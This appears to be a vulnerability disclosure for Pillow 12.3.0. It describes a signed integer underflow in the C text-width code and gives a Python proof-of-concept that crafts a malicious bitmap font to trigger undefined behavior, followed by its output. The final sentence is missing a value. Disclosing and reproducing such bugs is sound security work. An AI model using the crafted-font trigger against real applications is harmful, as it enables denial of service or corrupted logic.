Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise

Summary

Affected Object and Source

Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx

Details

The code in Pillow 12.3.0 is:

for (xsize = 0; *text; text++) {
    int dx = self->glyphs[*text].dx;
    if (dx > 0 && xsize > INT_MAX - dx) {
        PyErr_SetString(PyExc_OverflowError, "Width too large");
        return -1;
    }
    xsize += dx;
}

The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves: dx > 0 => xsize <= INT_MAX - dx It does not prove the other half of the contract: dx < 0 => xsize >= INT_MIN - dx Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INT_MIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.

PoC

"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.

Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""

from __future__ import annotations

import struct
from io import BytesIO

import PIL
from PIL import Image, ImageFont


ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537


def bitmap_font(advance: int) -> ImageFont.ImageFont:
    metrics = bytearray(256 * 20)
    glyph_offset = ord("A") * 20
    metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
    font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
    font = ImageFont.ImageFont()
    font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
    return font


def main() -> None:
    font = bitmap_font(ADVANCE)
    print(f"Pillow={PIL.__version__}")
    print(f"control_math={ADVANCE * CONTROL_REPEAT}")
    print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
    print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
    print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")


if __name__ == "__main__":
    main()

Observations from a regular 12.3.0 release build:

Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880

The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INT_MIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to .